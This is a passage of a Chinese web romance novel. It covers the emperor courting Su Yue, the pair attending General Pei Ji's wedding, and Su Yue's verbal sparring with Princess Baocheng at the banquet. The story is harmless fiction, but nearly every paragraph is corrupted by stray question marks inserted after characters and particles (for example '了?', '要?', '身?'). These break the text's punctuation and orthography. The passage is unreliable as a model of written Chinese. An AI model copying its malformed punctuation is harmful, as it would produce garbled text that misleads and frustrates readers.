不过见他一副窥探秘辛的模样,就决定不能?让他称心如意。于?是抬手撑住了脸颊,幽怨地叹息,“惆怅,忧伤,心如刀绞。”然后?调转视线望向?他,试图从他脸上窥出一点?悲愤和忧伤来。 谁知皇帝陛下这回却很?淡定,裴忌都要?成亲了,不足为?惧。他爽朗地说:“朕就不像你,吃着碗里看着锅里。世上美人千千万,并非每一个都必须为?朕所有,找到那个最适合自己的,好好过日子才是正经。” 苏月发现这人虽然身?处高位,但却不曾摆脱姑苏大郎的笃实本质。娶个媳妇,生几个孩子,经营好自己的国家,尽力扫清前?朝遗留的弊政,就是他全部的追求了。 总之不管将来如何变化,目下确实很?纯质。她紧抿的唇微微仰起来,不动声色长出了一口气。 “说定了,朕在马车你等着你啊。”他又追加了一句,“要?快些出来,别让朕等急了。” 苏月说知道了,“饮过了新郎官敬的酒,立时就辞出来。你的来意都说完了吗,时候不早了,该回去了。” 可是每回临要?走,都有一种生离死别的感觉。他说:“天刚黑,你又困了?不过也不算坏毛病,这种习惯可以延续到婚后?,朕喜欢。” 这人就是满脑子狂蜂浪蝶,但真要?实施,又止步不前?了。苏月不理会他的嘴上厉害,摸着额头说:“这阵子发生好多事,我身?累心也累。你听说了么?,青崖死了。“ 他点?了点?头,“朕已经命人手下留情了,可惜还?是出了岔子。” 苏月叹了口气,“若没有那十七板子,兴许他不会即刻就死。他原本患着病,外伤加重了病势,实在是缓不过来了,人说没就没了。” 皇帝沉默良久才道:“朕有些内疚,他的死,有一半是朕促成的。但规矩就是规矩,朕可以让人掌刑时从轻,却不能?将这条律法废除,你能?体?谅么??” 苏月颔首,“百姓诉讼有州府郡县衙门,若不能?断,还?可以上告大都府、大理寺。动辄在端门外击登闻鼓,要?是没有律法约束,将来那些偷鸡摸狗、邻里对骂都能?闹上朝堂,你就不是皇帝,成县官了。” 所以有个讲道理知轻重的妻子,对男人来说很?重要?。不过青崖确实可惜了,那是个有风骨的少?年?,不因眼下的安逸就放弃前?恨。其中内情他是后?来才知道的,但借由他打开了根除前?朝将领的口子,也算有功社稷。只是他下的这盘棋,把所有人都算计进去了,皇帝原想告诉苏月,转念再思量,人都不在了,还?是为?青崖保留最后?的体?面吧! “朕早前?只知道前?朝的乐工受尽欺凌,却没想到竟会那样凄惨。他当着满朝文武脱下衣裳时,朕也狠吃了一惊。”他转头看她神色,见她眉间有悲伤,轻声问,“你很?难过吧?” 苏月“嗯”了声,“当然很?难过。我原本希望他越来越好,过安稳的日子,疗愈以前?那些痛苦的。你不知道,他真的很?有才华,他创的几首曲子,上回用来与外邦乐官交流,人家听后?大为?震撼,誊抄在乐卷上带回去了,还?问能?否请他出使传播呢。可惜他当场就回绝了,说不愿意离开上都,细想还?是因为?舍不下颜在,越惦念越钻牛角尖,最后?把自己害了。” 皇帝唏嘘之余,朝她挪了挪身?子,“朕看你心力交瘁,可要?找个怀抱靠一靠?” 苏月顿时警觉,往后?挪了半尺,“不用,谢谢。” “还?是要?的。”他又靠过去一些,“朕知道你心善,曾经如此看重的阿弟,就这么?没了,你的心情必定很?沉重。” 说沉重,怎么?能?不沉重呢。就在她略一疏忽时,发现他的手臂环住了她的肩。她本想开口拒绝的,酝酿措辞的间隙,他的另一只手攀上来,不由分说把她的脑袋按在了自己肩上。 “你看这样多好。”他说,“你遇见不高兴的事,可以向?朕诉说,除了生死,朕都能?为?你解决。你可以对朕哭,对朕撒娇,对朕发泄,朕是男子,朕撑得住,真的。” 她本来一门心思打算抗拒的,听他这么?说,便不想挣扎了。 他的衣领间有好闻的松柏香,经由体?温晕染,愈发醇厚温暖。她的肩背都放松下来,仔细叮嘱:“你的身?上也有旧伤,要?好好保重身?体?,千万不要?生病。” 皇帝此刻感动非常,感动他的小女?郎终于?光明正大地关心他了,便低下头贴着她的额发,紧紧搂住了她。 这算是第一回正式的搂抱,靠得太近,苏月还?是有些紧张的,小声说:“我好几天没洗头了,不会熏着你吧?” 他说没有,“朕嫌弃自己,也不能?嫌弃你。女?郎,你的头发有种放烂了的佛手味道,又醇又正,提神醒脑。” 第64章 第 64 章 苏月平静地?推开了?他, “好了?,我要打水洗头了?,你可以走了?。” 他才发现自己好像又说错话?了?, 讪讪试图弥补, “要不然……朕替你洗头吧。朕的手?法?不错, 洗完了?还负责擦干。你看如今天气愈发冷了?,你晚间洗头会着凉的, 朕实在不忍看你病倒啊。” 她怨怼地?瞪着他,眼神直冒火星子, “谢谢陛下的好意?, 用不着。我现在可是盘着发髻的,要是解开,那味道就不光是烂佛手?的味道了?, 会把您活活熏死的。为了?陛下的龙体安康, 您还是快回去吧, 在我这里呆得?太久,会染上味道的。回头御史弹劾起来, 臣百口莫辩,这样?就不好了?。” 她说的全是赌气的话?,一生气就赶他走, 他要是乖乖听话?, 这个梁子岂不是结定了?吗。 有问题不能留过夜, 必须当场解决,这是皇帝处理?感情的宗旨。于是?着脸问:“嗳,你怎么不唤朕大郎?” 她错牙一笑, “说正经?事呢,唤什么大郎。” 他的脑子倒是转得?很?快, “那我们说说不正经?的事吧,你唤朕大郎,好么?” 苏月觉得?这人实在太不懂女郎了?,将来要一起过日子的,看来是时?候该教他一些?常识了?。 于是正了?正脸色,两手?横放在桌面上,如同老师教授学生一样?对他说:“你知道怎么讨女郎欢心吗?有时?候做得?再好,也不如说得?好。你要挑我喜欢听的说,要在我想到之前,先设身处地?站在我的立场考虑。虽说我的头发确实有味儿,但我能自谦,你不能认同。你应当说女郎的发香,像常开的茉莉花,让人一闻忘俗,再闻倾心,明白?吗?” 皇帝分明理?解得?有点费劲,“朕可是个实诚人啊,不太习惯说违心的话?。” 苏月气不打一处来,“那你在朝堂上,是怎么与那些?臣僚虚与委蛇的?你为了?架空拥兵自重的武将,花了?多少心思,我就不值得?你花心思?不值得?你说两句好听的哄骗哄骗吗?” 他想了?很?久,“那些?被朕哄骗的人,都没什么好下场,朕舍不得?你步他们的后?尘。过日子为什么不能踏踏实实的呢,有话?实说多好,朕在你面前从不掩饰,你看见的朕,是最真实的朕。” 说得?苏月叹气,忽来一阵莫名的伤感,“你今日在我面前直撅撅像根通条,来日遇见了?更喜欢的女郎,会不会变得?温情小意?,无师自通?” 他沉默了?片刻,不解地?问她,“你觉得?朕是那种无师自通的人?” 这个反问问得?很?好,苏月居然真的陷入了?沉思,开始考虑以他的情智,究竟有没有这个可能。 想了?半天,才发现被他带跑偏了?,“我们现在商讨的,不是通不通的问题。” “遇见别的女郎吗?”他问。 苏月反倒有点不好意?思了?,支支吾吾不知如何回答。生怕被他看出?来,其实自己对将来的婚姻 存在很?大的疑虑,她虽然没有感觉自己如何深爱他,但想到他抱着别的女郎说甜言蜜语,心里就不舒服── 同样?是女郎,她为什么就没有那种待遇! 皇帝呢,紧要关头并不迟钝。他确实不会说好听话?,但他的每一句话?都很?实在,“朕十三?岁从军,你知道军中有多乱吗?秦楼楚馆遍地?,前朝重兵驻地?还设有营妓,只要你愿意?,每日可以换不同的人侍奉,朕若是不自爱,还用得?着太后?操心后?继无人?我们权家早前虽不显贵,但却有好家风,不许朝三?暮四,不许在女人堆里打转。所以你遇见朕,是你前世修来的好福气,朕洁身自好,至今清白?。你去问问,世上有几?个男子二十七岁未经?人事,尤其朕还是皇帝,你敢不说一声难能可贵?” 苏月红了?脸,“童男子了?不起,大呼小叫的做什么?你未经?人事,我也守身如玉啊,我又没占你便宜。” 直爽的话?,到底让彼此都不好意?思了?。隔了?会儿才听他说:“朕的心里只认定你,不会再有别的女郎了?。皇帝跟前永远不缺人,宝成公主和十二侍之外,朕也见过不少女郎,眉目传情的,投怀送抱的,早就数不清了?。朕不喜欢就是不喜欢,朕记着你的名字呢,辜苏月,被朕惦记上,你就跑不掉了?。哪怕你嫁了?人,朕也会把你抢过来,谁让你一早就写在了?太后?的家书上。” 苏月不由嗟叹,情不知所起一往而深,一般人都是一见钟情后念念不忘,很?少有像他这样?,看见个名字就死心塌地的,真是个怪胎。 “太后?的家书,到了?你口中怎么像生死簿。阎王要我三?更死,不会留我到五更。”她嘴上嫌弃,心里还是欢喜的。他说没有别的女郎,但愿三?年五年后?的今天,他还能这么坚定吧! “不是生死簿,是朕单方面的婚书。”他说得理直气壮,并且追问,“你现在可以唤朕大郎了?么?” 其实他偶尔也是会说情话的,假以时?日,说不定能调理?得?很?好。 鉴于他如此执着,她还是遂了?他的心愿,“好吧,唤你大郎。时候不早了,大郎快回去吧。国用在巷道等了?许久,天越来越冷了?,会把他冻坏的。” 他没有办法?,只好蹉着步子挪到门前,“你不送送你的大郎么?” 一心想洗头的苏月打算拆头,又架不住他纠缠,万般无奈跟出?来,比了?比手?道:“走吧,我送我的大郎出?小门。” 可他又顿住了?脚,体贴地?说:“算了?,送到这里就行了?。你穿得?单薄,回头与朕难舍难分,万一着了?凉,朕会心疼的。” 苏月看着他自作多情,自我感动,心道与这样?的人过日子也挺好,用不着你费心,只要一个眼神,他就已经?把自己溶化了?。 难舍难分的还是他,他一步三?回头地?叮嘱:“明日的婚宴,说好了?一起去,时?辰到了?朕来接你。” 苏月说好,“走吧走吧。” “别穿公服,朕让人准备好看的衣裳,明日给你送来。” 苏月又点头,“好好好,走吧。” “你同朕挥挥手?。”他含着笑,殷切地?望着她。 苏月抬手?朝他挥了?挥,起先觉得?他粘缠,现在却有种说不出?的玄妙感觉了?。 他心满意?足,这才转身走向那道小门,衣袂轻轻一翻飞,人就不见了?。 总觉得?有哪里不对,她站在那里想了?想,才发现他的好意?压根不能当真,这门打开了?,不是还得?由她关上吗。结果?赶过去一看,才发现门锁已经?锁上了?,小门上不知何时?按了?个机簧,门缝变得?可以伸缩。只要有钥匙,从缝里探手?就能顺利开门,来去无忧。 这可好,从今往后?连梯子都不用带了?,果?然办法?都是人想出?来的。她吁了?口气,回到官舍让人打水来,定了?定神才发现,自己居然这么把他的话?当回事,明明已经?很?累了?,却还惦记着要洗头。 定是女郎的自尊心作祟,再者明日要去喝喜酒,收拾干净也是应该的。这么一想便摆脱了?他的阴影,踏踏实实女为悦己者容了?。 等到第二日,他果?真派人送了?两身衣裳来,你永远不必担心他的审美,配色绝对高雅,款式也是当下时?兴的。并且送衣裳的正是他一早为她物色的三?位长御,名字也如他说的一样?好记,分别叫窈娘、秋娘、泰娘。 窈娘长得?很?玲珑,善于绾发,仔细给她绾了?个望仙髻,苏月觉得?个头仿佛都给拔高了?。 可是站在镜前打量,实在太张扬,“我不过是去吃个饭,打扮成这样?不合适。还是拆了?吧,随意?绾个园髻就可以了?。” 三?位长御都有些?遗憾,但她既然发话?,总要遵着她的意?思来办。 窈娘说:“梳个朝云近香髻好么?不显张扬,又有年轻女郎的灵动。”边说边取两支羊脂茉莉的小簪子比划了?下,“拿这个簪在一旁,您就是宾客中最娇俏的女郎。” 苏月听得?发笑,“我又不是去与女客比美。” 不过她们爱捣鼓,她也就不推辞了?。依着她们的意?思装扮上,这回顺眼多了?,既不喧宾夺主,也有喝喜酒的款儿。 泰娘说:“奴婢们这次就不回去了?,陛下说让我们留下侍奉娘子。娘子身边连一个近侍都没有,万一有什么差遣,也免得?上外面找人。” 可苏月还是推辞了?,“这里是官舍,有专做杂务的仆妇。我一向是这么过来的,早就习惯了?,忽然呼奴引婢的,别人瞧着也不好看。” 长御们不好强留,临走的时?候行礼如仪,笑着说:“奴婢们在长秋宫等着娘子,娘子可要早些?来啊。” 苏月颊边发烫,赧然笑着,点了?点头。 离去赴宴还有一个时?辰,趁着间隙赶往大乐堂。那边正检点太乐署乐师的技艺,近来公主国夫人的府邸都点名要男乐师,因此得?尽早选拔技艺高超的,以作备用。 刚迈进门,就听见一阵激昂的琵琶声,那节奏与指法?,不用分辨就知道是高手?。 围成一圈的女郎们见她来了?,赶忙拽她就近看,一看之下很?令苏月惊诧,只见一个膀大腰圆,留着络腮胡的乐师怀里抱着琵琶,抡指弹奏举重若轻,女郎们抱在怀里很?有些?大的琵琶,对他来说简直像根针似的。那行云流水的演奏,放松的神情,仿佛弹奏的不是乐器,是折柳轻摇,尽显随性旷达。 青罗啧啧,“他让我想起天上的一位故人。” 大家惊异地?看向她。 “南天门的魔礼海啊。”青罗两手?一比,“不像吗?” 大家这才恍然大悟,难怪如此眼熟。 苏月偏头问颜在,“这不是新募的吧,以前怎么没有见过?” 颜在说:“以前梨园的规矩死板,乐师须得?品貌端正,头光面滑。这种长相入不得?大雅之堂的,只能在太乐署做杂役,没有登台的机会。如今规矩变了?,只要有真本事的,都不用藏着掖着,他可不就崭露头角了?。” 苏月听完,由衷庆幸,梨园也好,乐府也罢,都应当由具备真才实学的人挑大梁。这么好的乐师被埋没了?,那才是梨园的损失,且这位弹曲的功底真不是三?言两语能概括的,粗中有细,动静皆宜,用最平静粗犷的面貌,弹奏出?最温柔缱绻的曲调。巨大的反差引发人盎然的兴致,说不定能成为梨园最炙手?可热的乐师呢。 “推举他。”苏月对太乐令道,“说辞我都想好了?,梨园中的瑰宝,后?院中的扫地?僧,了?不起的世外高人。” 太乐令听得?一愣一愣地?,梨园使大人的策划一向在他的认知之外,他不需要懂太多,照着吩咐实行就是了?。 可惜苏月逗留不得?太久,眼看太阳要落山了?,她得?赶赴裴忌的婚宴了?。便嘱咐她们接着挑选,自己提着裙裾往龙光门上去了?。 来得?刚好,她迈出?门楼时?,皇帝的马车也到了?。淮州上来搀扶她,把她送进车舆,里面的人正襟危坐着,今日换了?身普通打扮,冥色的袍服,领口袖缘遍布织金的雷纹,没有了?皇帝陛下的摄人威势,像个家底丰厚的有钱人。 他看见苏月,眼眸顿时?一亮,“朕选的衣裳就是好看,果?然人靠衣裳马靠鞍。” 苏月懒得?同他计较,落座后?满意?地?抻了?抻衣角。虽然这人心思缜密,有意?和她穿得?像一家,但她真的很?喜欢这身骨缥加青白?玉的衣裙,素净又端庄。 而皇帝呢,欣赏她就如欣赏自己的得?意?之作,心下不住感慨,他的女郎,今日怕是要把新妇都比下去了?。骄傲固然是骄傲,但又有些?不放心,拿手?指捅了?她一下,“回头人多眼杂,你不能随意?与年轻未婚的男子搭讪,免得?传出?谣言,对你的皇后?之路不利,知道么?” 苏月斜了?他一眼,“你若不放心,就随我一起进去。” 皇帝说不行,“朕还是不进去了?,免得?掀起轩然大波,抢了?新郎官的风头。” 他说到高兴处,哈哈了?两声,拍着膝头眉飞色舞。苏月心想朝堂上的三?公九卿们八成没见过这样?的他,看他高坐龙椅时?一派人君风范,到了?私底下就这副模样?。 心里鄙夷着,忍不住掩口打了?个呵欠,这两日睡得?晚,人一静下来就有些?犯困。 边上的人察觉了?,偏头问:“你可要小憩一会儿?朕给你当枕头,您想怎么睡都可以。” 反正他的话?不能往邪路上想,否则时?刻都要怀疑他心怀不轨。她也不与他见外,嘀咕着:“我的眼睛都快睁不开了?,容我靠一会儿吧,到了?你叫我。” 他说好,乖顺地?递上了?自己的肩膀。 苏月偎上去,闭着眼说:“我洗过头了?,你若再说我像烂了?的佛手?,我就要翻脸了?。” “你今日是香的。”他已经?学会了?多温存少说话?,往她面前送了?送胳膊,“借给你搂着。要搂得?紧一点儿,否则摔下去朕可不管。” 苏月眼皮子打架,脑子也不怎么灵便,就依着他的话?,搂紧了?他的胳膊。 美人在肩的皇帝陛下,这时?笑得?志得?意?满。那条被拽过去的胳膊撑也撑得?欢喜,已经?想好了?三?日不换衣裳,留住她的体香了?。 虽然他们之间除了?转瞬的亲吻,没有其他更亲密的举动,但这样?的循序渐进,才是他心中最满意?的发展方式。一切刚好,她的困倦,他昨日刚练的臂膀,无一不在证明他们是天作之合。他甚至能感觉到她一呼一吸间起伏的胸膛,如此凹凸有致,勾起了?他的心猿意?马,让他浑身发烫。 小心翼翼垂眼看看,看见她浓密的眼睫,高挺的鼻梁,女郎长得?真是好看。 无关世俗的男欢女爱,仅仅只是欣慰。他轻叹了?口气,早前没想过娶亲竟然那么难,好在不日就要修成正果?了?,他心爱的女郎,这刻正枕在他肩上。 可惜她不是假寐,靠着如此伟岸的男子,她居然真的睡着了?。几?次脑袋要滑下去,都被他揽了?回来,到最后?不得?不固定住,因路途有些?远,赶到裴府时?撤下手?,她的脑门居然被他压红了?。 他看着她的额头,言辞闪烁,“过会儿再进去,时?候还早。” 苏月说:“我还得?送礼金,登账,去晚了?人家收摊了?可怎么办?” 皇帝说不要紧,“朕正好也要随礼,让淮州进去。你那份朕一起写上,反正咱们是一家,就不要分彼此了?。” 苏月有些?扭捏,“那怎么成呢,你是你,我是我。” 他两眼盯着她的脑门,感受不到女郎的腼腆,满心想的都是红印什么时?候能消散。 苏月察觉了?不对劲,抬手?摸摸自己的额头,掏出?小铜镜一看,脑门上的粉都蹭掉了?,还有一块寸来宽的红痕。当即泄了?气,鼓着腮帮子说:“怎么弄的……你用多大的劲儿推我的脑袋,是不是趁我睡着了?报复我?” 他说没有,“是你睡得?太沉,直要往下滑。朕能怎么办,自然要托住你啊。” 苏月叹了?口气,还好随身带着粉盒,拿出?来照着脑门拍打几?下,再抬脸让他看,“盖住了?吗?看上去淡些?没有?” 粉一盖,似乎不那么鲜明了?。他捏着她的下巴,就着夕下的日光查看,“要不还是别去了?吧,咱们上街市逛逛去。城中有好吃的酒楼,席面不比喜宴差。” 但苏月觉得?人家专程下了?请帖,不去不合适,“车都停在人家巷道里了?,不露一下面,显得?我拿乔。” 然而想从他手?下挣脱,发现挣脱不了?,他捏着她的下巴,深深的眼眸望进她心里去。这时?候的权大是深情的,英俊的,像个熟谙运用魅力的男子,连眨动一下眼睫都令人着迷。 两个人都气息咻咻,两个人都心慌意?乱,他低下头,先闭上了?眼,把唇贴在她唇上…… 这次维持的时?间很?长,长得?仿佛跨越了?宇宙洪荒。轻轻地?触碰,犹觉得?不够,分开一下,重又贴上,每一次都能更深入一点,每次都能感觉到魂魄溃散。 “苏月,我好喜欢你。”他捧住了?她的脸,眼里抹上一层蜜色,“越来越喜欢,越来越……” 她笑起来,两手?圈住他的腰,嗡哝着说:“我该进去了?。” 他重新吻住她的唇,虽然还没参透更深的奥义,但也觉得?这样?已经?心满意?足,这就是爱呀。 正打算继续研习,外面忽然传来淮州的声音,压着嗓门道:“娘子,齐王的车驾到了?,问娘子是否要一同入内。” 被打断了?,皇帝有点不高兴,“朕发现二郎近来好像大安了?,到处喝喜酒,他是不是也想娶亲了??” 苏月好不容易抢回嘴,忙着给自己补上口脂,抽空道:“身子好了?就能娶亲了?,陛下替他好生留意?吧。” 皇帝说:“朕觉得?梨园的女郎就不错,长得?好看,还有手?艺。” 他这是自己尝到了?甜头,打算造福阿弟啊。苏月嗤笑了?声,这会儿是真得?进去了?,起身提了?裙裾准备下车。身后?的人又不舍地?拽了?她一下,“快去快回,记住朕还在车里等着你。” 苏月说知道了?,平稳住心绪,整顿神色打帘下车。大郎柔情起来实在让人吃不消,他像个勾魂的男狐狸,隐隐让她感觉腿脚发软,落地?的时?候恍惚踩在了?棉花上。 而站在裴府门前的权家二郎,则是一泓让人神清气爽的清泉。他穿着白?洁的袍服,唇边噙着笑,并没有刻意?套近乎,待她走近,仍是寻常唤了?声辜大人。 第65章 第 65 章 苏月拱手还了一礼, “真巧,在这里遇见大王了。你与裴将?军是?旧相?识吗?” “当初我们从姑苏入上都,是?裴将?军护送的。”齐王说着, 调转视线朝巷道上停驻的马车望了眼, “娘子是?一个人来的么?阿兄莫不是?在车里吧!” 苏月忙说没有, “我一个人来的,陛下怕我孤单, 让淮州送我来吃席。早知道大王也?要?赴宴,与大王结个伴不就好?了。” 齐王笑?了笑?, “娘子不日要?与陛下订亲, 就不要?唤我大王了,叫我权弈或是?二郎都可以。”边说边比了比手,请她先行。 裴家招呼宾客的管事, 很快从门内迎了出来, 热络地说:“唉呀, 大王与梨园使大人来了,快快请进。” 齐王偏头?望向正堂, “我们来得可是?时候?新郎官还不曾亲迎吧?” 管事说没有,“正预备呢,这就要?出门了。” 话音方落, 就见七八个傧相?簇拥着裴忌从里间?出来, 平时都是?劲装甲胄的武将?, 穿上了鲜亮的礼服,看上去像换了个人似的。 苏月含笑?望向新郎官,他身陷乱糟糟的人群, 显得局促又忙乱。视线好?不容易突围,看见她的时候微顿了下, 很快便浮起?一个笑?,上前拱手来见礼,“大王,辜娘子。” 齐王还个礼,“恭喜将?军觅得佳偶。” 苏月也?拱拱手,“恭祝将?军百年好?合。我就等着将?军迎新娘子回来,一睹新人的风采了。” 裴忌的笑?容一向是?矜持的,听她这样说,抿唇点了点头?。 一旁的傧相?比他还着急,匆匆催促着,“新郎官该出门了,别误了好?时辰。” 外面早就预备好?的炮竹点起?来,砰地一声直上九霄。几人七手八脚替他绑上大红绸,然?后?又一窝蜂地把他拽出门,送上了马背。 迎亲的队伍吹吹打打,往长街那头?去了,苏月随众人目送队伍走远,些微惆怅了下,她曾经心动过的郎君,今日成亲了。不过倒也?没有太多的遗憾,每个人都有自己的机缘么,她的缘分不在裴忌这里,一早就定准了权家大郎。 转头?再看前来赴宴的宾客,发现有一大半都是?脸熟的。上都的官员们讲究场面上好?看,遇见红白事,基本都会到场。苏月甚至从人群里看见了皇帝的老友原破岩,他常年受派驻扎在离上都最近的军事要?冲,鲜少?回上都。这次大概是?专程受邀回来喝喜酒,也?没忘记自己的人生大事,正围着一个年轻貌美的女?郎团团转。 招呼贵客的婢女?端着喜饼逐一分发,用绣着囍字的红布兜子装着。苏月接了一对?,仔细挂在了腰带上。 齐王四下张望,“平时不得见的熟人,一遇喜事都来赴宴了。” 太阳落山前的最后?一缕光照在他脸上,清透皎洁,病容全无?。苏月说:“你的气色看上去好?了许多,陛下先前还说呢,身体大安了,该考虑婚事了。” 齐王听后?一笑?,“阿兄还没成婚,哪里轮得着我。今年春,陛下替我找了个好?御医,调理?了半年光景,身体确实好?多了。只是?成婚的事,暂且不去想?,等日后?请兄嫂替我物色吧。” 这里正说着话,被女?郎撂下的原破岩终于落了单,目光四处搜寻,忽然?发现了他们,三步并作两步过来打招呼,“辜娘子,你到底没能挣脱陛下的魔掌。” 苏月讪讪,齐王笑?着捶了他一下,“被阿兄听见,剥了你的皮!” 两个人别过她,笑?闹着,拉拉扯扯去找其他相?熟的朋友了。 苏月低头?摸了摸腰带上的喜饼,发现还有余温,便悄悄出门,回到了车上。 车里的皇帝蹙眉看她倒出饼子,分了他一个,“你怕朕会饿死?” 她说:“不是?怕你饿死,是?想?让你沾沾喜气。我用银针测过,没毒。”说着与他撞了撞,“干饼。” 皇帝有些嫌弃,“什么喜气,二婚,娶续弦夫人。” 苏月觉得这人真是?会扫兴,“二婚怎么了,娶回来好?好?过日子,那也?是?喜事一桩。” 皇帝捏着饼咬了一口,抽空说:“朕看见裴忌了,他穿红色的衣裳不好?看。” 苏月对?他表示鄙夷,“吃着人家的东西,说着人家的坏话,陛下你人品不怎么样。” 他咂了下嘴,“这怎么能算坏话呢,朕是?有感而发。” 苏月没理?他,着力分析起?了手里的饼子,“这是?上都的老婆饼么?江南都发龙凤饼,才棋子那么大。” 皇帝钻研了片刻,“ 应当不是?老婆饼,是子孙饼。你没看见吗,上面雕的都是?兔子。” 苏月不明白,“雕着兔子为什么是?子孙饼?” 皇帝是?有经验的,“兔子能生,子子孙孙无穷尽。今天刚生下一窝,肚子里还怀着一窝,所以乡间很多人家都养兔子,出笼快,能换钱。” 苏月觉得他可能又在胡扯,不过这饼子的味道还是不错的,里头?夹着豆沙馅儿,吃起?来蜜甜。等吃完了,她扑了扑手说:“我得进去了,你等着我,有好?吃的再给你送来。” 皇帝看她的目光忽然?多了几分崇敬,“朕就像个四肢不勤的人,靠你四处踅摸,给朕找口吃的。” 苏月眨眨眼,“很有甘苦与共的味道吧?” 他只差赌咒发誓了,“朕以后?一定加倍对?你好?。” 总算她是?有良心的,轻声说:“你已经对?我很好?了。”说罢又望他一眼,方才提裙下车。 留下皇帝一人靠着车围子激动不已,她不是?捂不热的石头?,原来她什么都知道。 返回裴府内的苏月,这回遇见了鲁国夫人,鲁国夫人热络地把她拉到一旁说话,着力遗憾他们过礼没能如期进行,“太后?气得厉害,把那些前朝的降将?臭骂了一顿。原本东西都已经筹备好?了,结果又要?延后?一个月,可不把老人家气坏了。” “事出突然?,没想?到惹上了麻烦。”她其实不太愿意再回忆那件事,因为里头?牵扯了青崖,至今都在后?悔,要?是?没有去搜查左翊卫将?军府,也?许青崖就不会那么早死了。 鲁国夫人见她神情?淡淡的,便换了个话头?,“过两日我府里有一场宴饮,请的都是?城中贵妇,打算挑几个男乐师助兴,太乐署可有好?人选?” 苏月同她说起?了那个魔礼海,着实一通夸赞,“男乐师也?好?,女?乐师也?好?,样貌不重要?,重要?的是?技艺。我也?是?头?一回见到那样的乐师,明明好?大的乐器,在他手里像孩子的玩物。他弹奏不讲究什么姿势体态,弹琵琶如同弹棉花,就是?那种不拘世俗的样子,看上去分外洒脱。” 鲁国夫人立刻产生了浓厚的兴趣,“就点他的卯,我倒要?看看有多稀奇。” 说话间?听外面吵嚷起?来,很快炮竹连天,迎亲的队伍回来了。 大家忙出去看,新妇被搀出花轿,一身喜庆的礼服,以团扇遮面。看身形很是?窈窕,翩翩的步履迈过转毡,引入正堂。堂上坐着裴家的父母,想?必等这日已经等了很久,即便是?迎娶续弦夫人,礼数上也?极尽周全。 宾客们呢,最期待的就是?新妇子撤扇,拜过了堂,女?眷们都跟着进了新房。苏月也?挤在人群里张望,熬过了漫长的吉祥唱词,终于等来新妇露出真容。呀,真是?位文静端庄的女?郎,羞涩地红着脸,美目一婉转,眼里都是?她的新郎。 大家一径夸赞,将?军好?福气,娶得了如花美眷。苏月也?很替他们高兴,不过新房里太多人,恐怕会引得新妇不自在,便识趣地退出来,盘算着时候差不多了,外面应当要?开席了。 打算先去挑个位置坐定,首辅夫人见到她,忙起?身热略地招呼:“辜娘子,我们这儿还有座,快来。” 苏月实则和她们不太相?熟,在座的人里唯独认出了宝成公主。这是?她婚后?头?一次露面,人人都对?未来的皇后?笑?脸相?迎的时候,她却?垂着眼,慢慢拿手绢擦拭面前的酒杯和银箸。 首辅夫人相?邀,不能推辞,苏月落座前先同众人致了歉,“梨园中还有要?务亟待处置,怕是?喝过了新郎官敬酒就得回去。提前离席多有不恭,还请诸位夫人见谅。” 大家都说不碍的,“女?子一生困守在后?宅,独独娘子能立一番事业,为我们女?子争了光,我们还能因这种小事见怪吗。” 也?有人感慨,“大娘子是?有福之人,得陛下虔心护佑。听说上回彭雍那帮人裹挟陛下,逼迫陛下当庭杖责娘子,陛下竟要?替娘子领罪。我家主君回来说起?,着实把我惊呆了,陛下这样的人物,能如此护佑女?郎,多难得!陛下对?满朝文武来说是?傲视天下的君王,对?女?郎来说,却?是?体贴入微的好?郎子啊。” 苏月还能说什么呢,皇帝陛下的偏爱有目共睹,自己再自谦,倒显得虚伪了。 众人都在啧啧叹服,对?面的宝成公主却?浮起?了凉笑?,放下手里的空酒盏,冷不丁冒出了一句:“裴府也?算高门大户,用的银杯上竟有黑点,怎么擦都擦不掉。” 这话一出口,都听得出是?在指桑骂槐,大家一时沉寂下来,面面相?觑,不知如何缓解尴尬。 苏月知道这位公主素来看不起?自己,她有公主的傲性,她骄傲她的,本来和自己没什么关系。自己呢,并不是?个攻击性强的人,也?不太愿意揭人伤疤,但这种莫名的恶意不能苟同,便低头?看了下杯盏,顺口应道:“银杯不是?很好?么,砸不坏,捶不烂,不像精瓷的杯子,一失手就碎了。” 这下宝成公主的脸色变得很难看了,所谓的碎不碎,不就是?在隐射她国破家亡吗。于是?哼笑?一声,“银杯放在御案上,分明不值一提,却?也?身价倍增,真是?时也?运也?。” 苏月奇异道:“银杯怎么不值一提了,明明很值钱呀。公主以用银杯为耻,那将?军宅中,用的必是?金杯吧?” 三言两语彻底堵住了宝成公主的嘴,这商户女?口齿伶俐,根本就是?在揭人的短。 李再思娶她,本就是?做填房,正室夫人死后?,后?院还有四五个妾室,三儿一女?。虽说丈夫对?她不错,但家务事那么繁杂,能好?到哪里去。如今还要?被嘲笑?金杯握在了莽夫手里,宝成公主半点便宜没占着,自然?越想?越气。 边上的人含糊笑?着,正好?见婢女?端着菜色从廊子上过来,总算有了岔开话题的机会,迎接大人物般兴高采烈,“上菜了、上菜了……” 大家忙端起?酒杯互敬,不多时新郎官来了,一桌一桌地道谢,感激诸位莅临。 苏月随众人站起?身,手里举着杯盏,恭祝他新婚之喜。裴忌敬过众人又向她举举杯,就算曾有遗憾,也?掩入烟尘里,查找不见了。 傧相?陪着新郎官又走向下一桌,苏月便放下杯子同在座的告罪,“实在是?衙门中有要?务,不能等到席散。我先行一步了,诸位夫人慢饮。” 礼数周全后?从裴府退出来,回到车前时打帘往里看,车里的人正倚着车围子,借由一盏小小的灯笼看曲谱。察觉动静眉目一转,憋闷道:“怎么这么久,朕都快睡着了。” 苏月登上车辇说:“我也?没让你跟来啊,害得我席都没吃完。”一面提裙坐下,偏头?好?奇地同他打探,“你可是?欠了宝成公主风流债?早前她养在鲁国夫人府上,你到底和她有过多少?来往?” 要?是?换了旁人,必定茫然?否认,说自己与宝成公主不相?熟,谈不上来往。但权家大郎的回答永远直达要?害,三言两语就能消除她的困惑,“别怀疑自己,朕对?女?郎的手段,只有你忍得了。那个宝成公主矫揉造作,朕两句就能把她气死,她还有命撑到今天?” 多么强有力的证明,立刻让苏月打消了疑虑。看来是?宝成公主不知全貌,盲目的心仪他,自己也?实在想?不明白,家国都被他灭了,她怎么还能对?这仇人有好?感。难道是?这位公主舍小家成大义?还是?承认了他后?来者的身份?看来不光自己曾经很看好?亡国公主和新君的故事,就连宝成公主自己也?看多了画本子,差点弄假成真了。 皇帝毕竟是?警觉的,留神观察她的神色,“这厮对?你不敬?” 苏月说:“厮什么厮,人家是?女?郎。也?不是?对?我不敬,就是?有些看不上我罢了。毕竟她是?公主,出身尊贵,要?是?换作前朝,我这种商户女?得跪在她脚边回话,抬一抬头?都是?死罪。” 